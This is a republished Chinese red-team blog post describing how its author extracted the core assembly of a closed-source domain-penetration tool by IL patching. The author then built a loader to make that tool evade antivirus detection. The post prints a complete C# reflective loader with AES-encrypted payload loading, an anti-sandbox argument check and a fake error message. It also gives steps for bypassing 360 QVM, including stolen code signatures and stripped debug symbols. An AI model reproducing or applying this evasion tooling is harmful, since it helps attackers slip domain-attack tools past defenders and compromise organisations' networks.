小记-域渗透工具逆向二开赋予免杀

admin 2026-08-09 05:05:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了对域渗透工具进行逆向二开以实现免杀的方法。作者通过IL指令编辑提取核心代码,编写自定义加载器并采用反沙箱、AES加密、签名伪装等技术绕过杀毒软件检测。关键发现包括通过减少暴露面、禁止生成调试信息、添加签名等方式绕过QVM检测。可操作建议是使用签名和减少暴露面来提升免杀效果。 综合评分: 87 文章分类: 红队,逆向分析,安全工具


cover_image

小记-域渗透工具逆向二开赋予免杀

原创

ptr ptr

UpRoot

2026年7月27日 21:38 江苏

在小说阅读器读本章

去阅读

看书看到这款工具的,发现不开源并且已经不免杀了,于是我试错中总结出来如何针对类似这类工具的免杀方法论。

对于免杀还是学徒阶段,写的很多东西可能有误,还请指正,能不能长时间免杀都是次要的,对我来说,找到解决问题的方法比拿到结果更重要。

原工具现状:

过程

原程序对核心代码做了加密处理存在数组中,后解密进行反射调用Main方法并传入外部参数。

这里不采用拿数组去解密的办法,一方面这个数组太大了,拿不全,另一方面,解密算法也不好逆。

我的办法是:对Main方法进行IL指令编辑,新增一个System.IO.File::WriteAllBytes()方法,在解密之后,直接写到bin中,这样就拿到了程序的核心代码。

这里在AI的帮助下,通过自己的思路,丢给AI,得到如下IL指令,不难。

0041 stloc.s   V_4 (4)
0043 ldstr     "D:\\tmp\\koi.bin"
0048 ldloc.s   V_4 (4)
004A call      void [mscorlib]System.IO.File::WriteAllBytes(string, uint8[])
004F ldloc.1
0050 ldstr     "koi"
0055 ldloc.s   V_4 (4)
0057 callvirt  instance class [mscorlib]System.Reflection.Module [mscorlib]System.Reflection.Assembly::LoadModule(string, uint8[])
005C stloc.s   V_5 (5)

另存module编译执行,拿到koi.bin,再次放到dnspy进行分析。

主方法没问题,这个bin提取正确的。

直接调用肯定是不行的,里面用了很多域工具的组件,过不了杀。

原加载器,静态被标记也用不了,只能自己手工去写一个加载器反射调用主类即可。基础代码如下:

private static bool HasRequiredArgs(string[] argv)
{
&nbsp; &nbsp; if (argv == null || argv.Length < 2)
&nbsp; &nbsp; &nbsp; &nbsp; return false;

&nbsp; &nbsp; bool hasK = false;
&nbsp; &nbsp; bool hasPtr = false;

&nbsp; &nbsp; for (int i = 0; i < argv.Length; i++)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; if (string.Equals(argv[i], "-k", StringComparison.OrdinalIgnoreCase))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hasK = true;
&nbsp; &nbsp; &nbsp; &nbsp; else if (string.Equals(argv[i], "ptr", StringComparison.OrdinalIgnoreCase))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hasPtr = true;
&nbsp; &nbsp; }

&nbsp; &nbsp; return hasK && hasPtr;
}

指定参数可运行用来简单地反沙箱。

AppDomain.CurrentDomain.AssemblyResolve += ResolveDependency;

Assembly asm = Assembly.Load(raw);

Type t = asm.GetType("mscan.Program", throwOnError:&nbsp;true, ignoreCase:&nbsp;false);

MethodInfo m = t.GetMethod(
&nbsp; &nbsp;&nbsp;"Main",
&nbsp; &nbsp; BindingFlags.NonPublic | BindingFlags.Static,
&nbsp; &nbsp;&nbsp;null,
&nbsp; &nbsp;&nbsp;new[] {&nbsp;typeof(string[]) },
&nbsp; &nbsp;&nbsp;null);

string[] args = argv.Length ==&nbsp;0&nbsp;?&nbsp;new[] {&nbsp;"--help"&nbsp;} : argv;

m.Invoke(null,&nbsp;new&nbsp;object[] { args });

轮子造好了,再把koi.bin转为字节数组,AES加密,反射加载即可。

这里我对字节数组做了一步base64处理去降熵,但是360会提文件里面的内容,检测到大段base64后直接kill掉,所以是不行的。UUID可以试一试,但是估计360检测到大段字符串都会直接kill掉。

所以还是老实字节数组避免360抓文件内容。

缺点是尽管我没加壳,熵也还是很高,也有被直接干掉的风险,这里抱有侥幸心理了。

net4.0兼容到winserver2008编译第一版exe,放到360云沙箱结果如下:

qvm直接干掉了。

于是查阅资料,了解到bypass qvm的解决办法如下:

1、暴露面尽量小,比如导入表

2、禁止生成调试信息,对 C# 来说是不要生成pdb文件

3、签名

4、伪装白文件字符串添加

具体操作如下:

干净的程序生成信息,避免qvm直观检测。

&nbsp; <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
&nbsp; &nbsp; <PlatformTarget>AnyCPU</PlatformTarget>
&nbsp; &nbsp; <DebugSymbols>false</DebugSymbols>
&nbsp; &nbsp; <DebugType>none</DebugType>
&nbsp; &nbsp; <Optimize>true</Optimize>
&nbsp; &nbsp; <OutputPath>bin\Release\</OutputPath>
&nbsp; &nbsp; <DefineConstants>TRACE</DefineConstants>
&nbsp; &nbsp; <ErrorReport>prompt</ErrorReport>
&nbsp; &nbsp; <WarningLevel>4</WarningLevel>
&nbsp; </PropertyGroup>

签名掠夺,注意不要添加假签名和一些常见的签名,不然直接杀。

做完这两步后就基本可以过检测了。

最后结果如下:

加载器代码如下:

using&nbsp;System;
using&nbsp;System.IO;
using&nbsp;System.Reflection;
using&nbsp;DomainExploit.exploit;

namespace&nbsp;DomainExploit
{
&nbsp; &nbsp;&nbsp;internal&nbsp;class&nbsp;Program
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;static&nbsp;int&nbsp;Main(string[] argv)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!HasRequiredArgs(argv))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;string&nbsp;friendlyName = AppDomain.CurrentDomain.FriendlyName;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine("'"&nbsp;+ friendlyName +&nbsp;"' is not a valid Win32 application");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] raw = Decrypt.GetKoiBytes();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; AppDomain.CurrentDomain.AssemblyResolve += ResolveDependency;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Assembly asm = Assembly.Load(raw);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Type t = asm.GetType("mscan.Program", throwOnError:&nbsp;true, ignoreCase:&nbsp;false);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MethodInfo m = t.GetMethod(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"Main",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BindingFlags.NonPublic | BindingFlags.Static,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new[] {&nbsp;typeof(string[]) },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;null);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;string[] args = argv.Length ==&nbsp;0&nbsp;?&nbsp;new[] {&nbsp;"--help"&nbsp;} : argv;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; m.Invoke(null,&nbsp;new&nbsp;object[] { args });
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;catch&nbsp;(TargetInvocationException ex)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(ex.InnerException !=&nbsp;null&nbsp;? ex.InnerException.ToString() : ex.ToString());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;catch&nbsp;(Exception ex)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(ex);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-2;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;private&nbsp;static&nbsp;bool&nbsp;HasRequiredArgs(string[] argv)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(argv ==&nbsp;null&nbsp;|| argv.Length <&nbsp;2)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;false;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;bool&nbsp;hasK =&nbsp;false;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;bool&nbsp;hasPtr =&nbsp;false;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i < argv.Length; i++)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(string.Equals(argv[i],&nbsp;"-k", StringComparison.OrdinalIgnoreCase))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hasK =&nbsp;true;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;if&nbsp;(string.Equals(argv[i],&nbsp;"ptr", StringComparison.OrdinalIgnoreCase))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hasPtr =&nbsp;true;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;hasK && hasPtr;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;static&nbsp;Assembly&nbsp;ResolveDependency(object&nbsp;sender, ResolveEventArgs e)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;string&nbsp;baseDir = AppDomain.CurrentDomain.BaseDirectory;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;string&nbsp;name =&nbsp;new&nbsp;AssemblyName(e.Name).Name +&nbsp;".dll";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;string&nbsp;path = Path.Combine(baseDir, name);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;File.Exists(path) ? Assembly.LoadFrom(path) :&nbsp;null;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

谢谢阅读,如有更好的解决办法,还请指教下,共勉。

  • END –

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:UpRoot ptr ptr《小记-域渗透工具逆向二开赋予免杀》

评论:0   参与:  0